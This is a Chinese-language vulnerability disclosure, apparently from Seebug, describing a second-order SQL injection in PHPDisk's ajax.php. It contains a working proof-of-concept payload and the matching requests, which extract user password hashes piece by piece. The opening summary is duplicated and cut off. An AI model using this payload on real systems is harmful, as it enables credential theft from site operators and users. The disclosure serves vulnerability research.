### 简要描述: 发现二次注入比较明显,由于不报错,加上注入点位置比较奇葩,利用起来颇费周折 ~可能是技术不过关没有想到更好的利用办法了~ ### 详细说明: 二次注入是在ajax.php中发生的 主要流程是uploadcloud时在写入的内容,在save_as时被读取,但是没有进行过滤,造成了二次注入 来具体看看代码,首先是uploadcloud ``` case 'uploadCloud': $folder_id = (int)gpc('folder_id','P',0); $folder_id = $folder_id ? $folder_id : -1; $data = trim(gpc('data','P','')); $is_checked = $is_public ? ($settings['check_public_file'] ? 0 :1) : 1; if($settings['all_file_share']){ $in_share = 1; }else{ $in_share = (int)@$db->result_first("select in_share from {$tpf}folders where userid='$pd_uid' and folder_id='$folder_id'"); } if($data){ $file_key = random(8); if(strpos($data,',')!==false){ $add_sql = $msg = ''; $arr = explode(',',$data); for($i=0;$i<count($arr)-1;$i++){ $file = unserialize(base64_decode($arr[$i])); $file[file_id] = (int)$file[file_id]; $file[file_size] = (int)$file[file_size]; $file[file_description] = $db->escape(trim($file[file_description])); $file[file_extension] = $db->escape(trim($file[file_extension]));...
### 简要描述: 发现二次注入比较明显,由于不报错,加上注入点位置比较奇葩,利用起来颇费周折 ~可能是技术不过关没有想到更好的利用办法了~ ### 详细说明: 二次注入是在ajax.php中发生的 主要流程是uploadcloud时在写入的内容,在save_as时被读取,但是没有进行过滤,造成了二次注入 来具体看看代码,首先是uploadcloud ``` case 'uploadCloud': $folder_id = (int)gpc('folder_id','P',0); $folder_id = $folder_id ? $folder_id : -1; $data = trim(gpc('data','P','')); $is_checked = $is_public ? ($settings['check_public_file'] ? 0 :1) : 1; if($settings['all_file_share']){ $in_share = 1; }else{ $in_share = (int)@$db->result_first("select in_share from {$tpf}folders where userid='$pd_uid' and folder_id='$folder_id'"); } if($data){ $file_key = random(8); if(strpos($data,',')!==false){ $add_sql = $msg = ''; $arr = explode(',',$data); for($i=0;$i<count($arr)-1;$i++){ $file = unserialize(base64_decode($arr[$i])); $file[file_id] = (int)$file[file_id]; $file[file_size] = (int)$file[file_size]; $file[file_description] = $db->escape(trim($file[file_description])); $file[file_extension] = $db->escape(trim($file[file_extension])); $file[file_name] = $db->escape(trim($file[file_name])); $report_status =0; $report_arr = explode(',',$settings['report_word']); if(count($report_arr)){ foreach($report_arr as $value){ if (strpos($file['file_name'],$value) !== false){ $report_status = 2; } } } $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'"); if($num && $file[file_id]){ $tmp_ext = $file[file_extension] ? '.'.$file[file_extension] : ''; $msg .=$file[file_name].$tmp_ext.','; }else{ $add_sql .= "({$file[file_id]},'{$file[file_name]}','$file_key','{$file[file_extension]}','application/octet-stream','{$file[file_description]}','{$file[file_size]}','$timestamp','$is_checked','$in_share','$report_status','$pd_uid','$folder_id','$onlineip'),"; } } if($add_sql){ $add_sql = is_utf8() ? $add_sql : convert_str('utf-8','gbk',$add_sql); $add_sql = substr($add_sql,0,-1); $db->query_unbuffered("insert into {$tpf}files(yun_fid,file_name,file_key,file_extension,file_mime,file_description,file_size,file_time,is_checked,in_share,report_status,userid,folder_id,ip) values $add_sql ;"); } } ``` 虽然data使用base64加密,并且serialize,但是重新读入的时候都做了escape处理,确保了该函数不会有注入 继续看下save_as ``` case 'save_as': $file_id = (int)gpc('file_id','G',0); if($pd_uid){ $rs = $db->fetch_one_array("select * from {$tpf}files where file_id='$file_id' limit 1"); if($rs){ $has_file = @$db->result_first("select count(*) from {$tpf}files where file_name='{$rs[file_name]}' and file_extension='{$rs[file_extension]}' and file_size='{$rs[file_size]}' and userid='$pd_uid' limit 1");//注入点1 if(($rs['userid'] ==$pd_uid) || $has_file){ $rtn ='ufile'; }else{ $ins = array( 'file_name' => '[转]'.$rs['file_name'], 'file_key' => random(8), 'file_extension' => $rs['file_extension'], 'is_image' => $rs['is_image'], 'file_mime' => $rs['file_mime'], 'file_description' => $rs['file_description'], 'file_store_path' => $rs['file_store_path'], 'file_real_name' => $rs['file_real_name'], 'file_md5' => $rs['file_md5'], 'server_oid' => $rs['server_oid'], 'file_size' => $rs['file_size'], 'file_time' => $timestamp, 'in_share' => 1, 'is_checked' => $rs['is_checked'], 'userid' => $pd_uid, 'ip' => get_ip(), ); $db->query_unbuffered("insert into {$tpf}files set ".$db->sql_array($ins)."");//注入点2 $rtn = 'true'; } } unset($rs); }else{ $rtn = 'false'; } echo $rtn; break; ``` 其中有两个注入点,都是因为对rs的数据没有过滤造成的 由于这套系统没有显示mysql错误,因此注入点1的select查询只能进行盲注,这样的话需要次数比较多,比较麻烦,所以考虑通过注入点2的insert进行注入,看能否直接爆出数据 这个时候就出现了问题,要让语句先通过第一个select语句不报错才能进入注入点2 看了一下,注入点1中只用了3个参数name,size,extension,还有一个description是我们可控的参数,那么如果我们通过description进行注入,就能成功通过注入点1到达注入点2 先调用uploadcloud,在description中写入单引号,然后换一个帐号(一定要换个帐号!)调用save_as,调出调试信息看一下语句,像是这样 [<img src="https://images.seebug.org/upload/201408/0217152297d62da46501f82abd2623645b7750b7.jpg" alt="QQ截图20140802171532.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0217152297d62da46501f82abd2623645b7750b7.jpg) 可以发现二次注入确实存在,但是注入点的位置很尴尬,能在页面中显示的name字段在注入点之前,其他能显示的字段就剩下description本身 那么想在name处直接爆信息是不可能了,description已经有了一个单引号,导致 ``` update set description = (select xxx) ``` 这样的方式也不可能了 首先想到了一个解决方案,用类似盲注的方法,看图 [<img src="https://images.seebug.org/upload/201408/0217222194e9fce1073e54e4d816c601b79e22d3.jpg" alt="QQ截图20140802172339.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0217222194e9fce1073e54e4d816c601b79e22d3.jpg) 通过这种方式,将password每一位都爆在description处,直接查看,总共需要32次,比盲注好了不少,不过还是不够给力 所以又想到了方案2,还是看图 [<img src="https://images.seebug.org/upload/201408/02172627f64b33a83754c522fde7f03ba1468ef7.jpg" alt="QQ截图20140802172753.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/02172627f64b33a83754c522fde7f03ba1468ef7.jpg) 用hex的方式,可以爆多位内容了,离成功更近了一步,不过尝试爆password的时候,问题出现了 [<img src="https://images.seebug.org/upload/201408/021727590bb0674577be38343ac593dc38ee5aba.jpg" alt="QQ截图20140802172925.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/021727590bb0674577be38343ac593dc38ee5aba.jpg) 由于password是md5,应该是32位,而hex后应该是64位,果断太长了 最终折中的方案是,32位的password通过分段来爆,每次最多爆7位,这样最少只要5次就解决了 [<img src="https://images.seebug.org/upload/201408/02173203551448bf291327a28ce30ff65e82baaf.jpg" alt="QQ截图20140802173326.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/02173203551448bf291327a28ce30ff65e82baaf.jpg) 水平有限,只能这样了~ ### 漏洞证明: 以爆前password的前7位来证明,首先登陆帐号A,进行uploadcloud的操作 ``` <?php $file[file_description] = "0'+substr(hex((SELECT password from pd_users limit 0,1)),1,14)+'0"; $file[file_name] = "1"; $file[file_size] = "1"; $file[file_extension] = "1"; echo base64_encode(serialize($file)); ?> ``` 通过代码,得到data的值为YTo0OntzOjE2OiJmaWxlX2Rlc2NyaXB0aW9uIjtzOjY1OiIwJytzdWJzdHIoaGV4KChTRUxFQ1QgcGFzc3dvcmQgZnJvbSBwZF91c2VycyBsaW1pdCAwLDEpKSwxLDE0KSsnMCI7czo5OiJmaWxlX25hbWUiO3M6MToiMSI7czo5OiJmaWxlX3NpemUiO3M6MToiMSI7czoxNDoiZmlsZV9leHRlbnNpb24iO3M6MToiMSI7fQ== ``` http://localhost/phpdisk-f/ajax.php?action=uploadCloud post:folder_id=2&data=YTo0OntzOjE2OiJmaWxlX2Rlc2NyaXB0aW9uIjtzOjY1OiIwJytzdWJzdHIoaGV4KChTRUxFQ1QgcGFzc3dvcmQgZnJvbSBwZF91c2VycyBsaW1pdCAwLDEpKSwxLDE0KSsnMCI7czo5OiJmaWxlX25hbWUiO3M6MToiMSI7czo5OiJmaWxlX3NpemUiO3M6MToiMSI7czoxNDoiZmlsZV9leHRlbnNpb24iO3M6MToiMSI7fQ==, ``` folder_id是已创建的文件夹id [<img src="https://images.seebug.org/upload/201408/0217405947959750ae5df2a803998282a4ff76d4.jpg" alt="QQ截图20140802174223.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0217405947959750ae5df2a803998282a4ff76d4.jpg) 看下文件已经创建了,并且文件id为7(看链接就知道) [<img src="https://images.seebug.org/upload/201408/021742165122b01405b96fb8aa60f21eb1fd0fe8.jpg" alt="QQ截图20140802174343.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/021742165122b01405b96fb8aa60f21eb1fd0fe8.jpg) ``` 切换到帐号B,访问http://localhost/phpdisk-f/ajax.php?action=save_as&file_id=7 ``` 看下文件管理,成功爆出数据了 [<img src="https://images.seebug.org/upload/201408/02174559001abceaf11db28a255ba18fd0c3b139.jpg" alt="QQ截图20140802174708.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/02174559001abceaf11db28a255ba18fd0c3b139.jpg)